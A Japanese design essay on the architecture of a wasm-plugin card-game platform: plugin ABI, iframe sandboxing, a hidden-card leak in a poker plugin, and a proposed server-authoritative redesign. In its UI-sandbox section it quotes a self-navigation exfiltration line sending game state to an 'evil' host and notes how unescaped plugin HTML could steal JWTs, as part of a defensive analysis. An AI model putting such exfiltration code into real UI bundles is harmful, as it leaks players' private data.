ボードゲーム基盤の境界を引き直す

カードゲームを wasm プラグインとして配って遊ぶ基盤を書いている。動いてはいるが、境界の引き方に自信がない。どこまでをコアが持ち、どこからをプラグインに投げるのか。プラグインが返すのは状態なのか、画面なのか。

DeepSeek Harness を読んだら、物差しが1つ書いてあった。能力を足すとはインタフェースと実装と利用側を全部用意することで、役が1つしかないものを seam と呼ばない。自分のコードに当てたら、宣言だけで誰も呼んでいない trait も、書かれているのに誰も読んでいないフィールドも、そこから漏れている隠し情報も出てきた。

前半は現物の話で、何がどう動いていて、どこが壊れているか。後半がその上で書き直すならこうする、という話。後半が本題で、前半はその材料集め。

結論を先に書くと、境界は契約の厚い薄いで決めるものではない。間違えたときに誰に当たるかで決まる。

cdfy_next の構成

カードゲームを wasm プラグインとして配って、ブラウザで遊べるようにする基盤。Cloudflare の無料枠に載せるのが縛り。

コアは Rust。ゲーム状態を GameView という汎用構造として持つだけで、意味は解釈しない。zone があってカードが入っていて、カードに属性の map が付いている。power=3 が何なのかはコアの知ったことではない。ルールは全部プラグイン側にある。

struct GameView {
    players: Vec<Player>,
    zones: Vec<Zone>,                 // card を直下に所有
    counters: BTreeMap<String, i64>,
    phase: String,                    // 不透明 string
    turn: u32,
    active_player: Option<PlayerId>,
}

真実は行動ログ。Init { config, seed, players } が1本目で、以降は Step { player, action } が並ぶ。状態は setup してから Step を順に適用すれば再構築できる。乱数はコアが持つ SplitMix64 だけで、プラグインは host function の rand_u64() 経由でしか引けない。非決定性の源をここ1つに絞ったので、seed から先が完全に再現する。

Engine は薄い。submit はプラグインを呼んで、返ってきた状態を検証して、ログに追記する。それだけで、ディスパッチループもリスナレジストリもない。トリガもカスケードもプラグインの中で解決して最終状態が返ってくる。

配置がやや変わっていて、権威はサーバではなくホストのブラウザにある。Cloudflare Workers は実行時に動的な wasm をコンパイルできないので、Worker 上で Rust エンジンを回すと動的なゲームレジストリを失う。だから参加者の1人のブラウザが権威エンジンを回し、Durable Object は中継とログ追記だけをする。DO は wasm を実行しない。

代償は正直に書いてあって、昇格した瞬間その人は全員の隠し情報を持つ。友人同士で遊ぶ前提の割り切りで、ランク戦には使えない。

プラグイン ABI

契約は docs/wire-contract.md にある。export が5つ、host function が1つ。

exportinout
setupConfigGameView
apply_action[GameView, PlayerId, Action]GameView
legal_actions[GameView, PlayerId][Action]
observe[GameView, PlayerId]GameView
statusGameViewStatus

やりとりは UTF-8 の JSON。メモリの受け渡しと alloc/free は Extism が持っていくので、手書きの ABI がない。

コアはプラグインが返した GameView を毎回検証する。Card.id が全 zone 横断で一意か、active_player が players[] にいるか、zone.owner が実在するか。落ちたら EngineError::Invalid で拒否してログにも書かない。カードは zone の中に物理的に入っている入れ子なので、参照が dangling する余地は構造的にない。

career poker プラグイン

大富豪を全役実装したもの。別リポジトリで、wasm32-unknown-unknown に向けた Rust クレート。

やっていることは変換と委譲。apply_action が GameView を内部の Game モデルに解いて、移植済みのルールを走らせて、また GameView に畳む。この往復のコードが後で効いてくる。

乱数は全部 rand_u64 に寄せてある。初期シャッフルも、ワンチャンスのじゃんけん判定も。決定性は保てている。

wasm のほかに ui.js も配っている。大富豪の legal_actions は serve の組み合わせが数十個並ぶので、汎用レンダラだとほぼ同じボタンが敷き詰められて読めない。そこで専用の描画を1ファイルで添える。こちらは wasm とは別の境界なので節を分ける。

UI という第2の境界

ここは方式を1回乗り換えている。先に前の形から。

旧 cdfy は Elixir の Phoenix LiveView で、プラグインが HTML を返していた。export は init_game render handle_event get_state の4つ。

@spec render(any(), String.t()) :: String.t()
旧 cdfy は Elixir の Phoenix LiveView で、プラグインが HTML を返していた。`render(plugin, player_id) -> String` が吐いた文字列を LiveView がそのまま流し込む。
 
```elixir
<%= raw(@html) %>

入力は HTML の中の phx-click 属性が拾い、LiveView の handle_event がプラグインの handle_event に渡す。ブラウザ側に JavaScript を1行も書かずにループが閉じる。

この方式には今の形にない良さが3つある。成果物が1つで、ui.js と wasm が食い違う余地がない。描画する側がゲームの意味を知っているので、状態を読み解き直す作業が発生しない。そしてブラウザで走るプログラムが無いので、サンドボックスに囲う対象がそもそも存在しない。

問題は raw(@html) のほう。プラグインが吐いた markup が、エスケープなしでホストのページに同一オリジンで入る。<script> を1個混ぜれば JWT でも何でも取れる。第三者の wasm を落としてきて走らせる前提と、この行は両立しない。

いまの形

ゲームは wasm と一緒に ui.js を1本添えられて、web-ui がそれを iframe の中で走らせる。career poker のものは279行の素の JavaScript。

外側の HTML をホストが持っているのが効いている。

const SHELL = `<!doctype html><html><head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'unsafe-inline'; img-src data:; font-src data:">
</head><body><div id="cdfy-root"></div><script>
  window.cdfy = {
    onView: function(cb){ viewCb = cb; },
    sendAction: function(kind, data){ parent.postMessage({ type: "action", kind: kind, data: data || [] }, "*"); }
  };
</script></body></html>`;

バンドルは外側の HTML を1文字も供給しない。だから sandbox 属性も CSP も外せない。コード自体は ready の後に postMessage で流れてきて new Function に渡るので、文字列に埋め込む形ですらなく、</script> で抜ける古典的な手が成立しない。iframe は sandbox="allow-scripts" だけで allow-same-origin がないから不透明オリジンになり、cookie も localStorage の JWT も親の DOM も見えない。バイト列は渡す前に fetchGameUi が sha256 を照合する。wasm と同じ扱い。

UI にできるのは描画と意図の発行だけで、汎用の Board と Actions と同じ位置にいる。非合法な意図を投げても legal_actions と席と手番の検査で捨てられるし、5秒で起動しなければ汎用レンダラに落ちる。

ここまでは素直に良い。引っかかったのは、コードのコメントが自分で書いている残余の穴のほう。

connect-src (via default-src 'none') blocks the scripted network channels — fetch/XHR/WebSocket — but it does NOT block self-navigation

CSP は fetch も XHR も WebSocket も止めるが、window.location = "https://evil/?d=" + view は止められない。navigate-to ディレクティブはどのブラウザにも入らなかった。コメントはこれを許容と結論していて、理由は、そのバンドルが漏らせるのは既に正当に渡された席ごとの観測 view だけだから、と書いてある。

推論としては正しい。ただし前提が1つ要る。observe が本当に伏せていること。career poker はそこを外している。次の節で。

dsh と並べる

どちらも全部プラグインで組むと言っているのに、境界の引き方が逆になっている。

dshcdfy_next
プラグイン基盤Cordis (同一プロセス)Extism (wasm 隔離)
拡張点ctx のサービスとイベント5つの export
差し替えたいものループ、モデルアダプタ、ほぼ全部ゲームのルールだけ
プラグインの素性基本は自作、README は第三者配布を勧める第三者の wasm を R2 から落として実行
隔離なし線形メモリ、sha256 固定、iframe CSP
取り消しeffect の逆写像不要 (インスタンスを捨てる)

dsh は Cordis を選んだので、共有の代金として effect の逆写像を全登録で払っている。cdfy_next は隔離を選んだので、その代金がない。プラグインを捨てれば線形メモリごと消える。

用途を考えると、どちらもたぶん正しい。dsh はエージェントループ自体を差し替えたいので、AsyncIterable や AbortSignal を跨がせる必要がある。cdfy_next が差し替えたいのはゲームのルール1点で、しかも素性の分からない wasm を落としてきて走らせる。隔離しない選択肢はない。

dsh は Extism を採らなかった。capability-seams.md の50を超える seam に1度も出てこない。プラグインを別世界に置くと、渡したいものが渡らないからだと思う。

学べる改善点

並べて出てきた穴を、効きそうな順に。書いている途中で実バグが1つ出たので、それを先頭に置く。

observe が識別子を伏せていない

career poker の observe は、他プレイヤーの zone のカードに Face::Down を立てるだけで proto を残す。

Some(owner) if owner != player => {
    for card in &mut zone.cards {
        card.face = Face::Down;   // proto はそのまま
    }
}

card_to_proto は suit_index * 100 + number の可逆エンコードなので、proto_to_card で戻せる。ホストは peer に observed view を送るから、相手の手札は全部平文で届いている。UI が裏向きに描いているだけで、DevTools を開けば読める。

同じリポジトリの holdem は正しくやっていて、伏せるカードは proto を 0xFFFFFFFF にして枚数だけ残す。wire-contract.md にもそう書いてある。career poker はそこを落とした。

なぜ落ちたかというと、redaction の既定値がどこにもないから。Zone.visibility は Public | Owner | Hidden を持っていて、ARCHITECTURE.md にはコアが汎用に伏せられると書いてあるが、core/ を grep すると Visibility は型定義とテストにしか出てこない。誰も読んでいない。プラグイン作者が毎回 observe を手で書き、その1回のミスがそのまま隠し情報の漏れになる。

被害はそこで止まらない。前の節の UI の穴とつながる。PluginUI のコメントは、自己ナビゲーションで漏らせるのは正当に渡された観測 view だけだから許容だ、と論じていた。その観測 view に全員の proto が入っているので、敵対的な ui.js は1回の遷移で全員の手札を外へ送れる。sandbox の安全性の根拠が、プラグインが手で書く関数1つにぶら下がっている。

コアが visibility を見て既定の redaction をかけ、プラグインの observe は上書きだけにする。そうすれば書き忘れは伏せすぎる方向に倒れるし、UI 境界の理屈も自分で立つようになる。

席の所有者がログに乗っていない

cdfy_next はログが真実だと言っているのに、席の所有者だけは DO storage にいる。Step が記録するのは席番号だけで、その席が誰のものかはログから復元できない。ホストが落ちて次点が引き継ぐとき、resume の roster に載せて手渡している。

dsh の “Model-visible means logged.” に対応するものを cdfy_next で言うなら、権威の判断に効くものは全部ログに乗る、になるはず。席の所有者は明らかに権威の判断に効く。移行のたびに roster を手渡す設計は、渡し損ねた瞬間に席が浮く。

直すなら Seat { seat, user_id } みたいなエントリをログに足して、ホストは Init の前後を問わずログから席表を畳む。DO storage はキャッシュに降格する。ABI を触らずに済むので、コストは小さいほうだと思う。

ABI のバージョンがない

GameMeta は version を持っているが、これはゲームの版であって ABI の版ではない。apply_action の引数が [view, action] から [view, player, action] に増えたとき、古い wasm を落としてきたホストは JSON のデコードで落ちるだけになる。

dsh は bundle が package.json の dsh フィールドで自分を名乗って、profile がそれを重ねる。同じことを meta.json の abi_version でやって、ホストが instantiate の前に弾く。sha256 の照合をしている場所のすぐ隣に置ける。

seam が3役揃っていない

dsh は、能力を足すとは Service Definition と Provider と Consumer を全部設計することだ、と言い切っている。役が1つしかないものを seam と呼ばない。

この物差しを当てると、core/src/ports.rs の Clock は宣言と re-export があるだけで、実装も呼び出し側もない。ログの timestamp 用と書いてあるが、Engine はどこからも呼んでいない。将来のために置いた trait が、そのまま3年寝るやつ。

もっと効くのはエンジンのほう。プラグインを駆動する実装が Rust の Engine と TS の HostEngine で2つあるのに、契約の正本は docs/wire-contract.md という散文になっている。実際 validate_view の構造検証は Rust 側にしかなく、TS 側への移植は TODO のまま残っている。ブラウザが権威なのだから、検証が効いていないのは権威のほうだ。

RNG だけは golden で固定してある。seed 7 で手札が [7,3,0,6,2,5,4,1] になることを byte-exact に pin していて、ブラウザに権威を持たせてよい根拠がここ1本に乗っている。同じことを validate にもやればいい。契約から適合テストを1本作って、Rust と TS の両方に通す。

拡張点が apply_action 1つしかない

トリガもカスケードも apply_action の中で解決して最終状態が返る。コアはループを持たない。これは意図した簡潔さで、悪くない判断だと思っている。

ただし、後からポリシーを差す場所がない。dsh は tools/pre-execute と tools/execute と tools/post-execute を waterfall で分けていて、承認もサンドボックスも後から挟める。cdfy_next で同じことをしたいとき、たとえば時間切れの自動パスや、観戦者向けの公開視界を足そうとすると、置き場所がない。残作業に挙がっている public-observer 視界がまさにそれで、observe が PlayerId を要求するせいで席なしクライアントに渡せる視界が ABI に存在しない。

ABI を広げる前に、ホスト側の HostController に薄い層を置くほうが安いはず。席と手番の検査はすでにそこにハードコードされているので、その並びに開くだけになる。

ドキュメントのドリフト

ARCHITECTURE.md はプラグインが Moonbit である前提で書かれていて、wire-contract.md の冒頭も「Rust core と Moonbit plugin の契約」から始まる。実際に動いているプラグインは Rust で、moon-plugin は CLAUDE.md に legacy と書いてある。apply_action の引数も ARCHITECTURE.md の表は2要素のまま、wire-contract.md は3要素。契約が正本だと言っている文書がずれている。

dsh は docs/capability-seams.md を scripts/gen-doc-graphs.ts で生成して、完全性のガードまで付けている。cdfy_next の wire-contract の表くらいは core::wire から吐けるはず。手で書いた表は必ずずれる、というのは今回それを証明してしまった。

現物に手を入れる順番としては observe の穴埋めが先で、これは今日中に直す。次が席のログ化、その次が ABI のバージョン。ここまでが前座で、以下が本題。

理想形

穴を全部埋めたら何になるか。cdfy_next の作り直し案というより、マルチプレイのボードゲーム基盤を今から書くならこうする、という形で。

cdfy_next から大きく動かしたのは2つ。権威をサーバに置き直したことと、描画をプラグインが返すデータに寄せたこと。

前者から書く。書き始めたときは cdfy_next に合わせて P2P を前提に置いていたが、途中で外した。cdfy_next が P2P なのは Cloudflare Workers が実行時に動的な wasm をコンパイルできないからで、無料枠の都合であってボードゲームの都合ではない。

1本のログ

まず真実を1本にする。cdfy_next はログが真実だと言いながら、席の所有者を DO storage に置いた。この二重化がホスト移行のたびに roster の手渡しを要求している。

dsh の “Model-visible means logged.” を借りて言い換える。権威の判断に効くものは全部ログにある。席も、どの wasm を pin したかも。ランタイムがそれを assert する。

enum Entry {
    Seated   { seat: Seat, user: UserId },
    Unseated { seat: Seat },
    Started  { game: GameId, wasm: Sha256, ui: Option<Sha256>,
               abi: AbiVersion, config: Config, seed: Seed, seats: Vec<Seat> },
    Acted    { seat: Seat, action: Action },
    Halted   { reason: HaltReason },
}

権威の交代を記録するエントリは置いていない。server 権威なら誰が権威かは動かないので、書く事実がない。後で出てくる無料モードを足すときだけ Authority { user } が要る。

DO storage もメモリ上の Room も、全部このストリームの射影に降格する。席表は Seated と Unseated の畳み込み、ゲーム状態は Started から Acted を順に適用したもの。射影はキャッシュしてよいが、正本にはしない。

権威の置き場所

server に wasm を回させると、消えるものが多い。権威の選出、移行、resume、roster の手渡し。どれも P2P だから要るもので、ドメインが要求しているわけではない。隠し情報も本当に守れる。誰も他人の手札を持たない。

負荷を見積もってもサーバを避ける理由は弱い。ターン制のボードゲームは1部屋あたり毎分数アクション、状態は数十 KB。小さいコンテナ1台で数千部屋は持てるはず。リアルタイム対戦と違って、サーバ代が構造を歪めるほどにはならない。

最初はここを trait Authority にして、local と peer と server と witnessed を Provider として並べる案を書いていた。やめた。dsh の3役ルールを自分に当てると、本番で動く Provider が1つでテスト用がもう1つなら seam ではない。Clock を叩いた物差しがそのまま返ってくる。

なので ServerAuthority を1つ書く。2つ目が必要になったら trait へ昇格させればいい。抽象化は2つ目が現れてからでいいという話でしかないが、P2P の痛みを抽象化で覆う方向に一度進みかけたので書いておく。

C4Container
    title 理想形 (Container view)

    Person(seat, "着席プレイヤー", "intent 送信 / observed view 受信")
    Person(observer, "観戦者", "Public view のみ")

    System_Boundary(rt, "サーバ") {
        Container(auth, "Authority", "wasm を回すコンテナ", "gate → engine → validate → gate → commit")
        Container(engine, "Engine", "pure, IO-free", "プラグイン呼出・既定 redaction・構造検証・seeded RNG")
        Container(plugin, "Plugin", "wasm, pure", "setup / apply_action / legal_actions / observe / status")
    }

    Container(client, "Client", "browser", "汎用レンダラ + custom UI (sandboxed iframe)。状態を持たない")
    ContainerDb(log, "Append-only log", "SQLite / Postgres", "Seated / Started / Acted / Halted")
    Container_Ext(reg, "Registry", "object storage", "plugin.wasm + ui.js + meta.json")

    Rel(seat, client, "intent")
    Rel(observer, client, "join")
    Rel(client, auth, "Intent")
    Rel(auth, engine, "apply")
    Rel(engine, plugin, "call", "JSON over Extism")
    Rel(plugin, engine, "rand_u64")
    Rel(auth, log, "append / fold")
    Rel(auth, reg, "fetch + sha256 照合")
    Rel(auth, client, "Observed(viewer)")

    UpdateLayoutConfig($c4ShapeInRow="2", $c4BoundaryInRow="1")

完全な状態がサーバの境界から外に出ない。クライアントは自分の観測した view しか受け取らないので、DevTools を開いても他人の手札がない。cdfy_next が割り切った部分が、ここでは割り切りではなくなる。

意図と行動

クライアントが送るのは意図で、ログに載るのは確定した行動。名前を分ける。cdfy_next はどちらも Action と呼んでいて、custom UI の契約にホスト権威が検証すると注釈を足す羽目になっている。

そして権威の中に waterfall を1本通す。dsh の tools/pre-execute から tools/post-execute までの位置づけを、ここに移す。

Intent
  -> gate/pre       席の所有・手番・レート制限・承認
  -> engine/apply   プラグイン呼び出し (純粋・決定的)
  -> validate       構造不変条件
  -> gate/post      観戦者の redaction・テレメトリ・タイマ再設定
  -> commit         ログに追記し、視点ごとに fan-out

gate/pre で落ちた意図は、送った本人に理由を返して終わり。ログには何も書かない。通ったものだけが commit まで進んで、そこで視点ごとに別の view が配られる。着席者には自分の観測、観戦者には公開の観測。

プラグイン ABI は広げない。ポリシーはホストのものであってゲームのルールではない。時間切れの自動パスも観戦者の視界も承認フローも、プラグインに知らせずに足せる。cdfy_next の残作業に並んでいるものの半分は、この層がないせいで置き場所を失っている。

契約の厚み

ABI を広げないと書いたが、ここは疑っておく必要がある。薄い契約はプラグイン作者に仕事を押し付ける。どこまで押し付けていいのか。

career poker の中身を数えたら2541行あった。

ファイル行何
rules.rs678ルール
convert.rs498GameView と内部モデルの相互変換
legal.rs295合法手の列挙
lib.rs256ABI shim と dispatch
game.rs254内部モデル
card.rs175カード
wire.rs162契約の型の再宣言
deck.rs102山札
observe.rs81秘匿
rng.rs40乱数

convert.rs と wire.rs で660行、全体の26%が契約に合わせるための儀式に見える。GameView はカードゲームを知らないので、プラグインは自分のモデルを別に持って毎回往復する。

ここまで書いて、同じリポジトリの holdem を数えたら話が変わった。holdem-plugin/src/lib.rs は55行しかない。純粋なルールは holdem-core という workspace メンバに1071行あって、shim は cdfy-core の wire 型をそのまま import している。convert.rs も wire.rs も要らない。

660行は薄い契約の代金ではなかった。リポジトリの外にいることの代金だった。career poker の wire.rs の冒頭にもそう書いてある。共有クレートは無い、両側が同じ JSON に合わせる、と。意図した判断で、バイト列を pin するテストまで置いてある。

足りないのは厚い契約ではなく、プラグイン側の SDK。cdfy_next の workspace メンバは core host store holdem-core で、外部の作者が依存できるライブラリが1つもない。だから外に出た瞬間に型もデッキもカードも自前になる。

反対側の極も見ておく。boardgame.io は setup moves turn phases endIf playerView を宣言させて、ターン順もフェーズ遷移も秘匿もフレームワークが持つ。playerView: PlayerView.STRIP_SECRETS と書けば G.secret が落ちて G.players が自分の分だけに絞られる。career poker が81行かけて間違えた処理が、宣言1行になる。

代金も見えている。宣言した語彙から外れるゲームが窮屈になる。同時手番、ドラフト、ワーカープレイスメント、競りの混じるトリックテイキング。boardgame.io は activePlayers や stages を足して広げてきたが、足すたびに覚える設定が増える。マネージドと自由度は、たしかに交換になっている。

面白いのは、厚くしても秘匿では事故っていること。PlayerView.STRIP_SECRETS が G からは落とすのに ctx._undo と ctx._initial には残る、という issue が上がっている。厚い薄いに関係なく、秘匿は漏れるときは漏れる。

ただし直す回数が違う。あちらの漏れはフレームワークの1バグで、直せば全ゲームが直る。cdfy_next の漏れはプラグインごとに1回ずつ起こりうる。同じ種類の事故でも、収束するかしないかが違う。

だから厚さを1本の軸で決めない。層で切る。

  • ABI は薄いまま。素性の分からない wasm が通る面で、安全と replay の境界。狭くて検証できるほうがいい。
  • SDK はプラグイン側に置く。デッキ、カード、ターン順、内部モデルとの変換。契約ではなくライブラリなので、使わないプラグインも ABI さえ満たせば動く。career poker の660行はここに吸われる。holdem が55行で済んでいるのは実質これを in-tree でやっているからで、外に出しても同じ体験になればいい。
  • 秘匿はエンジンに寄せる。ここが例外。

例外の基準は、間違えたときに誰に当たるか。ルールのバグは、そのゲームが壊れるだけで済む。作者が直せばいい。秘匿の書き漏らしは他人の手札が漏れる。決定性の破れは replay が死ぬ。手番と席の検査漏れは他人の手番を打てる。他人に当たるものはエンジンが強制し、自分にしか当たらないものは SDK に置いて任意にする。

責務分割で悩むのは、たぶん厚い薄いで考えているから。失敗がどっちを向くかで切ると、置き場所はだいたい自動で決まる。

観測者と秘匿

上の基準を最初に適用する先がここ。observe(view, PlayerId) が席を要求するせいで、観戦者に渡せる視界がない。型を広げる。

enum Viewer { Seat(Seat), Public }

Public は公開ゾーンだけの視界。cdfy_next がいま観戦者に board を出していないのは判断の結果ではなく、ABI の穴を回避しているだけ。

redaction はエンジンの仕事にする。Zone.visibility を見て既定のマスクをかけ、プラグインの observe は上書きだけを担う。伏せ方も、face を倒すのではなく識別子を落として枚数だけ残す形を既定にする。career poker が漏らしたのは、この既定値がどこにもなくて毎回手で書いていたから。手で書かせる限り誰かがまた落とす。

UI の契約

旧 cdfy と今の形は、どちらも半分正しい。

旧が正しかったのは、描画に必要な知識の在り処。GameView はコアにとって不透明で、phase が "serve" だとか attrs の power が何かを知っているのはプラグインだけ。描画はまさにその知識を要求する。旧はそこを分けなかった。外したのは、それを HTML で吐いたこと。HTML はホストの DOM に入れれば同一オリジンの XSS になり、囲えば結局サンドボックスが要って、囲った瞬間に成果物が1つである利点も消える。

今の形が正しいのは隔離。外側の HTML をホストが持ち、allow-scripts だけの不透明オリジンに閉じ込め、sha256 を照合してから渡す。ここは動かさない。外しているのは、知識を2回書かせていること。career poker の ui.js の冒頭には、zone の 100 が river、101 が trushes、200 が meta、という対応表がコメントで書いてある。プラグインの内部の番号付けを、別の成果物が別の言語で手写ししていて、照合するものが何もない。mInt mBool mList でタグ付き Value を剥がしているのも、プラグインが JSON にした自分の型を JS で読み直しているだけ。

なので分ける先を変える。プラグインには、何が卓の上にあるかを宣言してもらう。HTML ではなく、コードでもなく、型のついたデータで。

語彙は career poker の ui.js 279行を1行ずつ潰して決め、ほかに5本のゲームを机上で当てて直した。行き着いたのがこれ。

// 任意の export。無ければ GameView の汎用描画に落ちる。
fn scene(view: &GameView, viewer: Viewer) -> Scene;
 
struct Scene {
    seats:   Vec<SeatView>,   // 誰が座っているか
    areas:   Vec<Area>,       // 卓や盤の上の領域。トークンは中に入れ子
    prompts: Vec<Prompt>,     // いまこの人に求めている入力
    notes:   Vec<Note>,       // 対象に貼る短い文字とバッジ
}
 
struct SeatView { seat: Seat, name: String, stats: Vec<Stat> }
 
struct Area {
    id: AreaId,
    role: AreaRole,           // Hand | Field | Trick | Discard | Deck | Staging
    owner: Option<Seat>,      // 人ごとの捨て札や獲得トリック
    layout: Layout,           // Flow | Fan | Stack | CountOnly | Grid{cols,rows} | Track{loop}
    tokens: Vec<Token>,       // 見せる分だけ。場には最後の一手だけ入れてよい
    stats: Vec<Stat>,         // 型付きの数値。Note の文字列に埋めない
}
 
struct Token {
    id: TokenId,              // GameView の id。選択の識別子を兼ねる
    slot: Option<u16>,        // Grid や Track の中での位置
    face: Face,               // Up { label: String, tone: Tone } | Down
    from: Option<Seat>,       // 誰が出したか
}
 
enum Prompt {
    // 領域からトークンを選ばせる。then があれば置き先を続けて選ばせる
    Pick   { area: AreaId, min: u8, max: u8,
             valid: Option<Vec<Vec<TokenId>>>, then: Option<Stage>,
             submit: String, action: ActionKind },
    // ラベル済みの選択肢から1つ。pass も skip も data が空の Choose
    Choose { options: Vec<ChoiceOption> },
    // カードでない入力。ベット額
    Amount { min: i64, max: i64, step: i64, submit: String, action: ActionKind },
}
 
// 1段目に選んだトークンごとに、2段目に出せる置き先が決まる
struct Stage { table: Vec<(TokenId, Vec<Slot>)> }
 
struct Note { target: Target, text: String, tone: Tone }  // Target = Seat | Area | Prompt | Scene

外側が4つなのは最初からではない。areas と cards と prompts と highlights で始めて、座席が置けないことに気付いた。名前をどこにも書けないので、career poker は meta zone のカード1枚の attrs に players という配列を突っ込んでいる。座席と notes を足し、カードを areas の中に入れ子にして4つに戻した。

Highlight は Note に畳んだ。革命は場に貼るバッジ、大富豪は座席に貼るバッジ、カードを選んで確定は prompt に貼る文字で、貼る先が違うだけの同じものだった。終局の順位表は Scene から外して status() の Ended に移した。称号の順序はゲームの事実であって描画の都合ではない。career poker はいまそれを meta zone に隠している。

肝は Prompt。career poker の serve と select は手札から部分集合を選ぶ形、one_chance はラベル済みの選択肢から1つ選ぶ形で、同じ枠に押し込むと 宣言: A♠ のようにカードの絵柄がボタンの文字に入る場合を書けない。pass と skip は data が空の Choose になるので専用の枠は要らない。

valid があると、確定ボタンをいつ押せるかをホストが判定できる。career poker が sameSet と selectionMatches で書いている29行がそのまま消える。組み合わせが爆発するゲーム用に Option にしてあって、無ければボタンは常に押せて非合法なら権威が弾く。どのみち権威は必ず検査するので、これは見た目の親切さでしかない。汎用レンダラが serve のボタンを数十個並べて使い物にならなかったのは、legal_actions が平坦な行動列で、どれとどれが同じ選択の別解なのかを表現できなかったから。valid がそこを埋める。

選択の途中経過はホストが持つ。どのカードを摘まんでいるかは誰にも害を与えないので、ゲーム状態に混ぜない。旧 cdfy はクリックのたびに handle_event を呼んでいたので、選択がプラグインの状態に入り込んでいた。ログにも replay にも関係ないものが混ざるのは避けたい。

そして JavaScript が要らなくなる。走るプログラムが無ければ、自己ナビゲーションの穴も unsafe-eval も boot タイムアウトも消える。

Scene の当たり判定

1つのゲームに合わせて語彙を決めると、そのゲームの形をした型ができる。Pick の min と max も AreaRole の並びも、大富豪から逆算した匂いがする。ほかを机上で当てた。

ゲーム通ったか詰まったところ
ホールデム半分ベット額。チップ枚数
トリックテイキング + 競り半分場の札が誰の札か。チーム
ハナビほぼヒントの2段選択
クロンダイク半分移動先
スプレンダー半分宝石。3×4の並び
チェス、すごろく当初は不可置き場所と、カードでない駒

ホールデムは fold と check と call が Choose で書けるのに bet と raise が書けない。額はカードではないので Prompt::Amount が生えた。チップの持ち点も同じ問題で、Note の文字列に “1,200” と埋めれば表示はできてもホストは数として扱えず、桁揃えも増減のアニメーションも死ぬ。Stat はここから来ている。

トリックテイキングでは場が壊れた。career poker の場は積み札なので誰の札かを持たなくてよかったが、トリックは4枚それぞれに出した人が付く。Token.from はここ。獲得したトリックを人ごとに積む場所も要って、座席を持てるのが Hand だけという形が窮屈だったので role と owner を分けた。競りは Choose の直積で、4スート × 8レベルの32個を格子に並べれば足りる。

ハナビが意外だった。自分の手札だけ見えず他人の手札が見える反転した秘匿で壊すつもりが、そのまま通った。Face はトークンごとにプラグインが決めるので、自分の領域を全部 Down にすればいい。モデルのどこにも、自分の手札は見えるという前提が入っていなかった。詰まったのはヒントのほうで、相手を選んでから色か数字を選ぶ2段構えが書けない。

クロンダイクとスプレンダーも同じ壁で、選んだ後に置き先がある。合法手を全部 Choose に列挙すれば書けるが、ドラッグの代わりに文字ボタンが十数個並ぶ。

チェスとすごろくは、はじめ座標が無いから範囲外と切った。そこは雑だった。要るのは座標ではなく3つで、カードをトークンに一般化すること、Area に並べ方を持たせて中のトークンにマス番号を振ること、Pick に従属する2段目を足すこと。チェス盤は64個の Area ではなく Grid{8,8} の Area 1つとマス番号付きトークン32個になる。上の型はもうその形にしてある。

Stage がいちばん効いた。駒を選んでから行き先を選ぶ2段構えは、プラグインが駒ごとの合法な行き先を表に出しておけばホストが盤を触らせられる。同じ形でクロンダイクの移動先もハナビのヒントも入る。カードゲームの穴だと思っていたものが、盤ゲームでは中心の要求だった。

外側の4つは6本当てても増えなかった。カードゲームの名詞は安定していて、動いたのは入力の求め方だけ。契約の危ないところが Prompt 1箇所に寄っているのは版を切るうえで都合がよくて、ui の abi を上げる理由はこれからもだいたいここになる。

抽象化の止めどころ

カタンが境界。家が頂点、道が辺、盗賊がヘクスと、1つの盤に3種類の置き場があるので Grid でも Track でも足りない。Layout::Hex を足すのかという話になり、足したら次は碁盤で、その次は分からない。

線は座標に引く。ホストが並べ方の名前から配置を決められるうちは Scene でいい。プラグインが x と y を指定し始めたら、それはもう UI を書いているのであって、データ形式は UI を書く言語としては下手なほう。そこからは ui.js が正直。

ただし本当に効いているのは語彙ではない。並べ方を1つ足すたびに、ホストのレンダラにそれを描く実装が要る。Grid を受け取れると宣言するのは1行だが、盤として見られるものを描くのは1行では済まない。ワイヤーフォーマットの表現力は安く、それを絵にする側は安くない。守備範囲を決めているのは型ではなくレンダラの工数で、自分がカードゲームの帯に線を引いたのも、卓を1つ描き切る覚悟しかなかったからだと思う。

契約の厚みでやった話が、そのまま描画の軸でもう一度出てくる。貧しすぎれば全ゲームが ui.js に逃げて何も変わらないし、豊かにしすぎればワイヤーフォーマットに UI フレームワークを1つ作ることになる。机上で6本通したのは、その線がどこにあるかを一度触った程度の話で、実装して初めて分かることは残っている。

ui.js に残る口

Scene が既定になっても ui.js は消さない。独自の見た目が要るゲームと、Scene の語彙から外れるゲームの逃げ道として残す。使われる回数が減るぶん、下の穴を踏む回数も減る。

壊れた ui.js が壊すのは自分の描画だけなので、契約は薄いまま。cdfy.onView と cdfy.sendAction の2つで足りている。直すのは4つ。

漏れる量を減らす。自己ナビゲーションは CSP では塞げず、navigate-to はどのブラウザにも入らなかったので塞ぐ手が生える見込みも薄い。残るのは渡す中身を減らすことだけ。エンジン側の既定 redaction は wasm 境界のための修正のつもりだったが、UI 境界の穴も同時に狭める。1つ直して2つ塞がる。

観戦者に渡す。いまは uiCode && !spectator で custom UI を切っていて、汎用側も席なしには何も出さない。観戦は wasm 側と UI 側の両方で未実装になっている。Viewer::Public を足せば、同じバンドルがそのまま観戦者にも使える。

版を持たせる。cdfy グローバルには版が付いていないので、onView の引数が増えたとき古いバンドルは黙って壊れる。wasm の ABI と同じ meta.json に並べる。次の節でまとめて書く。

差分を渡す。いまは更新のたびに view を丸ごと push するだけなので、アニメーションを付けたいバンドルは自分で前回と比較する。(prev, next, entry) を渡せば、どのカードがどこからどこへ動いたかが直接わかる。カードゲームの描画でいちばん欲しい情報がこれで、いまは各バンドルが自前で復元している。

SDK も境界の反対側で同じことが起きている。career poker の ui.js 279行のうち、タグ付き Value を剥がす関数と、zone を id で引く関数と、選択が legal のどれと一致するかを判定する関数は、どのゲームでも書く。インライン必須なので配布は npm ではなく、ホストが cdfy の下にぶら下げるか、コピペ用の小さいファイルを配るかになる。どちらでもいいが、いまのように各自で書かせる形はやめる。

要求の宣言

wasm 側の ABI のバージョンを meta.json に書くだけだと、いずれ足りなくなる。Cordis の inject を借りて、プラグイン側から要求を名乗らせる。

{
  "abi": 2,
  "requires": ["rand_u64"],
  "exports": ["setup", "apply_action", "legal_actions", "observe", "status"],
  "ui": { "abi": 1, "requires": ["onView", "sendAction"] }
}

